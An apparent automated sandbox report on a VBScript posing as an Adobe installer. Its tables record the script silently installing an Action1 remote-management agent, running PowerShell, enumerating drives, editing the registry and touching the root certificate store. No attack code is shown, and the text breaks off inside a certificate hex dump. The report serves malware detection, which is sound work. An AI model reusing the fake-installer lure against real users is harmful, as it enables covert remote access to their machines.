5fee0fd2b6dd1bacd75fdb68654e5dc10e5ce2b39118ac3e1d00868e434a7eb2

Analysis

max time kernel
150s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 00:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Adobe _Installer-11.89.vbs
Size 8KB
Sample260910-ajmlzasdqd
SHA256 5fee0fd2b6dd1bacd75fdb68654e5dc10e5ce2b39118ac3e1d00868e434a7eb2
MD5 05bff335e9effcd9d9f003af10d5e366
SHA1 22c953b2a6b4702623b540a741426bd73e58257d
SHA512 4c3046dac94e7f3b9b9e6068a0457ba0cb0bcf3c5b7dd28b12a922782c27675231a0975664f66a96752ff66caa7b021745a2a35e947c9395e29dbbc44f48525d
SSDEEP 48:NLX6tL5Qzw0vdIOs8ZVJDAfP694Oxt/7XeVh/Y18rgMlPdllNrwYNnyIsAHArStZ:NLX6nQFvdIEIwxuNr5NyIsNrUeLsXt
TLSH
T1E102B9617D233F98D1CA186AC10A718F18C29F771D16E0BDF5901136EAE6BC6CA72B71
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution spyware trojan

Malware Config

Signatures

Executes dropped EXE 3 IoCs

pid	Process
292	action1_agent.exe
3984	action1_agent.exe
2628	action1_agent.exe

Loads dropped DLL 8 IoCs

pid	Process
4836	MsiExec.exe
4836	MsiExec.exe
4836	MsiExec.exe
5404	MsiExec.exe
4944	MsiExec.exe
4944	MsiExec.exe
4944	MsiExec.exe
4944	MsiExec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe

Drops file in System32 directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	action1_agent.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	action1_agent.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3AA0DCD5A74331FBD6F344550EC48B87_FAB5A9F6C6BE3394975FF948CA40CA87	action1_agent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	action1_agent.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	action1_agent.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\18E6B4A57A6BC7EC9B861CDF2D6D0D02_EF52C1EC85F21F31CC0157A5C8803013	action1_agent.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\18E6B4A57A6BC7EC9B861CDF2D6D0D02_EF52C1EC85F21F31CC0157A5C8803013	action1_agent.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3AA0DCD5A74331FBD6F344550EC48B87_FAB5A9F6C6BE3394975FF948CA40CA87	action1_agent.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1968	WScript.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\Installer\wix{E6D8B066-2E74-458F-9111-24857C1C627A}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\SystemTemp\~DF05A7618F8145A014.TMP	msiexec.exe
File opened for modification	C:\Windows\Action1\action1_agent.exe.connection	action1_agent.exe
File created	C:\Windows\Action1\agent_downgrade.version_pair.tmp	action1_agent.exe
File created	C:\Windows\SystemTemp\~DF02EE75B5CFCE6575.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFBEC15B53C96E84DB.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFF2F695FF4AABDA16.TMP	msiexec.exe
File created	C:\Windows\Action1\datasource_data\1008.poll.tmp	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_ac52m0bw.ffg.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_i5xprmdh.hcu.psm1	powershell.exe
File opened for modification	C:\Windows\Installer\e58da54.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4A35.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\ED561CEF53981DE418C2AD69CE714711\5.251.654	msiexec.exe
File created	C:\Windows\SystemTemp\~DF291981740EC981D0.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5229.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{E6D8B066-2E74-458F-9111-24857C1C627A}\ProductIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF1C5423F123138A1E.TMP	msiexec.exe
File created	C:\Windows\Installer\e58da54.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDD6B.tmp	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE782.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF99E8981099667C59.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFAE26476D38A07024.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_bdc4w5tv.a4p.psm1	powershell.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Action1\action1_remote.exe	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\ED561CEF53981DE418C2AD69CE714711\5.251.654\action1_remote_exe	msiexec.exe
File created	C:\Windows\SystemTemp\~DF285BAE5921F4BF5C.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_r5zxsmik.nsz.ps1	powershell.exe
File opened for modification	C:\Windows\Action1\what_is_this.txt	action1_agent.exe
File created	C:\Windows\Installer\e58da62.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF687A2FA382C26420.TMP	msiexec.exe
File opened for modification	C:\Windows\Action1\logs\action1_log_2026-09-10_01-14-53~292.log	action1_agent.exe
File created	C:\Windows\Installer\{FEC165DE-8935-4ED1-812C-DA96EC177411}\ProductIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{FEC165DE-8935-4ED1-812C-DA96EC177411}\ProductIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF767768AF26852E77.TMP	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe.connection	action1_agent.exe
File opened for modification	C:\Windows\Action1\7z.dll	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4831.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_czp3ky3w.jvk.psm1	powershell.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Action1\sas.dll	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4AA4.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4B31.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE0611C9BB225E5D3.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF5FE904D36CDF2388.TMP	msiexec.exe
File opened for modification	C:\Windows\Action1\action1_agent.exe.update_state	action1_agent.exe
File created	C:\Windows\Action1\previousUser.txt	powershell.exe
File created	C:\Windows\Installer\wix{FEC165DE-8935-4ED1-812C-DA96EC177411}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\MSI52D5.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF8FA96F11204F0B1C.TMP	msiexec.exe
File created	C:\Windows\Action1\schedule.json	action1_agent.exe
File created	C:\Windows\Action1\rule_data\1008.suppress	action1_agent.exe
File created	C:\Windows\Action1\7z.dll	msiexec.exe
File created	C:\Windows\Installer\{E6D8B066-2E74-458F-9111-24857C1C627A}\ProductIcon	msiexec.exe
File created	C:\Windows\Action1\advanced_settings.json.tmp	action1_agent.exe
File created	C:\Windows\Action1\datasource_data\1000.poll.tmp	action1_agent.exe
File created	C:\Windows\Action1\rule_data\1000.suppress	action1_agent.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{FEC165DE-8935-4ED1-812C-DA96EC177411}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDF02.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDF61.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_fe1h43pr.xvj.ps1	powershell.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\ED561CEF53981DE418C2AD69CE714711\CacheSize.txt	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1928	powershell.exe
3884	powershell.exe
4192	powershell.exe
260	powershell.exe
2692	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe%5Cresources.pri\1da840c5479071a\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.2 = "Windows Security"	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2d	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	action1_agent.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2B	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2d\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\RegFilesHash = 4724fbe8abf3a0551acfbf36d955f476abe9eabfca4a6d834d46eaa2e384cb2b	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\Owner = 10160000f37ca764b940dd01	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2c\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\SessionHash = 5564ab3dcb6c37bbd77a85922cb850ed03f3cbe2b456f7425a1a89ebaedfa20b	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2c	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\RegFiles0000 = 43003a005c00570069006e0064006f00770073005c0041006300740069006f006e0031005c0061006300740069006f006e0031005f006100670065006e0074002e0065007800650000000000	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2d\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust"	powershell.exe

Modifies registry class 46 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\Version = "100336270"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\SourceList\LastUsedSource = "n;1;C:\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\PackageCode = "6995E120F132981499FCADE6FAD82951"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\SourceList\Net\1 = "C:\\Temp\\"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\Clients = 3a0000000000	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\SourceList\Net	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Version = "100663960"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\LastUsedSource = "n;1;C:\\Windows\\Action1\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductName = "Action1 Agent"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\ED561CEF53981DE418C2AD69CE714711	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\SourceList	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AuthorizedLUAApp = "0"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B\ED561CEF53981DE418C2AD69CE714711	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\PackageName = "action1_agent.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\SourceList\PackageName = "patch.msi"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7\A1_Agent	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\PackageCode = "919D3E7E9C8C211418ADC39A1BD1B1BF"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductIcon = "C:\\Windows\\Installer\\{E6D8B066-2E74-458F-9111-24857C1C627A}\\ProductIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\ProductIcon = "C:\\Windows\\Installer\\{FEC165DE-8935-4ED1-812C-DA96EC177411}\\ProductIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\SourceList\Net	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\ED561CEF53981DE418C2AD69CE714711	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net\1 = "C:\\Windows\\Action1\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\ED561CEF53981DE418C2AD69CE714711\A1_Agent	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\ED561CEF53981DE418C2AD69CE714711\ProductName = "Action1 Agent"	msiexec.exe

Modifies system certificate store 2 TTPs 3 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 6b0000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696